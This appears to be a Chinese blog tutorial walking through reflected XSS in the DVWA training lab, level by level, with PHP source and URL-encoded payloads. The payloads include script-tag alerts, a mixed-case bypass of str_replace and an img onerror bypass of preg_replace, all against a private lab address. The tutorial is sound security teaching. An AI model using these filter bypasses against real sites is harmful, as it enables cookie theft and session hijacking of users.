前言

由于最近在做XSS方面的测试,于是找到了DVWA平台进行实验测试,通过这三篇文章让大家了解XSS方面的大概内容,这三篇文章只是把你领进XSS的大门,要想真正深入的学习XSS,你还需要去学习很多东西来提升自己。
网站测试分为黑盒测试和白盒测试,在这里采用白盒测试来对网站进行XSS漏洞测试,XSS漏洞分为三种:反射型XSS、存储型XSS、DOM型XSS,分别用三篇文章来进行阐述。

XSS攻击形成原理

XSS中文名是“跨站脚本攻击”,英文全称是“Cross Site Scripting”。

XSS也是一种注入攻击,长期以来被列为客户端web安全中的头号大敌,当web应用对用户输入过滤不严格,攻击者写入恶意的脚本代码(HTML、JavaScript)到网页中时,如果用户访问了含有恶意代码的页面,恶意脚本就会被浏览器解析执行导致用户被攻击。

OWASP TOP 10 威胁多次把XSS列在榜首,常见的危害有:cookie窃取、session劫持、钓鱼攻击、蠕虫、ddos、获取用户真实IP、识别用户浏览器 ··········

dvwa反射型xss

反射型XSS:只是简单地把用户输入的数据反射给浏览器,一般出现在URL参数中及网站搜索栏中,只有用户点击恶意链接触发恶意代码的URL,才能受到攻击,只能触发一次,也被称为“非持久型XSS(Non-persistent XSS)”。

漏洞测试

low级别

​​

在输入框里面随便输入一个String(admin),发现显示:Hello admin这句话,同时可以知道数据提交是以GET请求的方式

查看源码:并没有什么Protect,这是最危险的

<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}?> 

构造payload,执行最简单的XSS攻击

http://192.168.43.146/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%22_XSS_%22%29%3C/script%3E

当用户触发该URL时就会受到XSS攻击,有弹框出现

后续测试,利用此漏洞,你也可以尝试去获得用户登陆的Cookie,在这里就不多说了,很容易实现的

medium 级别

<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>";
}?> 

经过代码审计,可以发现medium级别进行了Protect,对GET请求到的的内容进行'<script>'字符串匹配,将内容里出现的该字

符串替换成空,避免<script>标签造成的XSS攻击,但是<script>标签真的就不能使用了吗,答案是可以使用的,回过头来继续分析此str_replace()函数

str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)。

在这里可以利用str_replace()函数区分大小写的缺点来进行XSS攻击

构造payload,继续使用<script>标签进行XSS攻击

http://192.168.43.146/dvwa/vulnerabilities/xss_r/?name=%3CsCript%3Ealert%28%271111%27%29%3C%2Fscript%3E#

成功绕过<script>标签的匹配

另一种绕过方法不使用<script>标签进行XSS攻击,既然str_repalce()函数匹配的是<script>标签,而不匹配其它标签,所以在这里也可以利用<img>标签进行XSS攻击

构造payload

http://192.168.43.146/dvwa/vulnerabilities/xss_r/?name=%3Cimg+src%3D%23+onerror%3Dalert%28%22_XSS_%22%29%3E#

<img>标签绕过str_replace()

high 级别

<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>";
}?> 

代码审计之后,发现high级别存在另外一种的Protect,利用preg_replace()函数进行匹配“< s r i p t”等字符,将其置为空,此时<script>标签是不能使用的,不管是大小进行区分写都不可以

小写<script>标签被过滤

http://192.168.43.146/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%22_XSS_%22%29%3C%2Fscript%3E#

大小写混合<script>标签被过滤

http://192.168.43.146/dvwa/vulnerabilities/xss_r/?name=%3CScripT%3Ealert%28%22_XSS_%22%29%3C%2FscriPt%3E#

上面的既然都不行,就需要利用其它标签进行XSS攻击,此处可以利用 medium 级别 中提到的<img>标签进行绕过preg_replace()函数的Protect

构造payload

http://192.168.43.146/dvwa/vulnerabilities/xss_r/?name=%3Cimg+src%3D%23+onerror%3Dalert%28%22_XSS_%22%29%3E#

<img>标签成功绕过preg_replace()

impossible 级别

<?php// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$name = htmlspecialchars( $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>";
}// Generate Anti-CSRF token
generateSessionToken();?> 

impossible 级别的Protect不能被绕过,由于htmlspecialchars()函数的保护作用

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。预定义的字符是:& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >它的语法如下:
htmlspecialchars(string,flags,character-set,double_encode)其中第二个参数flags需要重要注意,很多开发者就是因为没有注意到这个参数导致使用htmlspecialchars()函数过滤XSS时被绕过。因为flags参数对于引号的编码如下:可用的引号类型:ENT_COMPAT - 默认。仅编码双引号。
ENT_QUOTES - 编码双引号和单引号。
ENT_NOQUOTES - 不编码任何引号。
默认是只编码双引号的

因为输入的所有标签都被转义,所以此处不存在XSS攻击,但是要注意flags属性,使用不当过滤XSS时就会被绕过

转载于:https://www.cnblogs.com/qftm/p/10317167.html

XSS Reflected 测试相关推荐

  1. DVWA——XSS(Reflected)——多种方法实现+详细步骤图解+获取cookie的利用过程演示

    一)XSS(Reflected)介绍: 反射型xss(非持久型):需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面.特点:弹窗警告.广告:javas ...

  2. Web应用进行XSS漏洞测试

    对 WEB 应用进行 XSS 漏洞测试,不能仅仅局限于在 WEB 页面输入 XSS 攻击字段,然后提交.绕过 JavaScript 的检测,输入 XSS 脚本,通常被测试人员忽略.下图为 XSS 恶意 ...

  3. XSS(Reflected)

    XSS(Reflected) 前言 前面已经对xss存储型进行了练习,有了初步的认识 这里结合dvwa靶场对xss反射型漏洞来进行一个初步的学习 练习 Low 进入xss反射型练习,可以看到这里是我们 ...

  4. xss/reflected/default

    本文章向大家介绍xSS-Reflected,主要包括xSS-Reflected使用实例.应用技巧.基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下.反射型 XSS (Refle ...

  5. PHP代码审计DVWA[XSS (Reflected)]

    XSS (Reflected)反射型XSS 靶场搭建可用蓝易云服务器

  6. 回顾几个常见的XSS漏洞测试脚本

    回顾几个常见的XSS漏洞测试脚本 基础的测试: <script>alert('xss')</script> 如果过滤了指定标签 比如:<script>标签 < ...

  7. 【安全系列之XSS】XSS攻击测试以及防御

    跨站脚本攻击 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者往 ...

  8. OWASP出品:Xenotix XSS漏洞测试框架及简单使用

    OWASP Xenotix XSS Exploit Framework是一个高效的跨站脚本漏洞(XSS)检测和攻击测试框架.它通过特有的三大浏览器引擎(包括Trident, WebKit和Gecko) ...

  9. XSSFORK:新一代XSS自动扫描测试工具(精)

    什么是XSS漏洞呢 ? XSS(Cross-site scripting)译为跨站脚本攻击,在日常的web渗透测试当中,是最常见的攻击方法之一,并占有很高的地位.它是通过对网页注入可执行代码且成功地被 ...

最新文章

  1. Python编程专属骚技巧6
  2. UI5 registerModulePath
  3. mysql sleep详解_sql注入详解(二)
  4. 转成数组_JavaScript之数组扁平化
  5. android 控件置于屏幕最底端
  6. eureka集群 ha_EurekaServer集群配置
  7. VS code编译C或C++
  8. php公众号关注自动回复内容,微信公众号自动回复内容大全集锦
  9. 矩阵代数(四)- 分块矩阵
  10. win7删除桌面计算机图标怎么删除,Win7桌面图标箭头怎么去掉?去掉桌面图标箭头的方法...
  11. ONVIF PTZ控制
  12. 宝物志分享:那些具有潜力的彩宝收藏品种
  13. python电脑版怎么下载-Python
  14. Android输入汉字得到拼音
  15. ddr布线 pads_[转载]Pads Router布线技巧,等长,蛇线,差分
  16. 哪些行业可以申请高新技术企业?
  17. bigquery数据类型_bigquery解释了查询您的数据
  18. SQL语句大全及其详解
  19. AMD黑苹果Adobe全家桶闪退问题
  20. 曲形文字识别 - Transformer-based Convolutional-Attention Network for Irregular Text Recognition

热门文章

  1. 算法设计——生日蛋糕问题
  2. 微型计算机原理小闹钟8253,微机原理课程设计-电子钟的设计.doc
  3. U盘安装Win10系统教程
  4. artical on napi
  5. 2014年上半年(第39次)全国计算机等级考试成绩查询,2014上半年全国计算机等级成绩(39次)...
  6. 记录--uniapp自定义相机 自定义界面拍照录像闪光灯切换摄像头
  7. 表妹问:区块链是啥?
  8. SED与AWK学习笔记
  9. wine 如何运行exe 应用
  10. mysql数据库 查找数据类型_Mysql查询数据库表结构以及字段类型并展示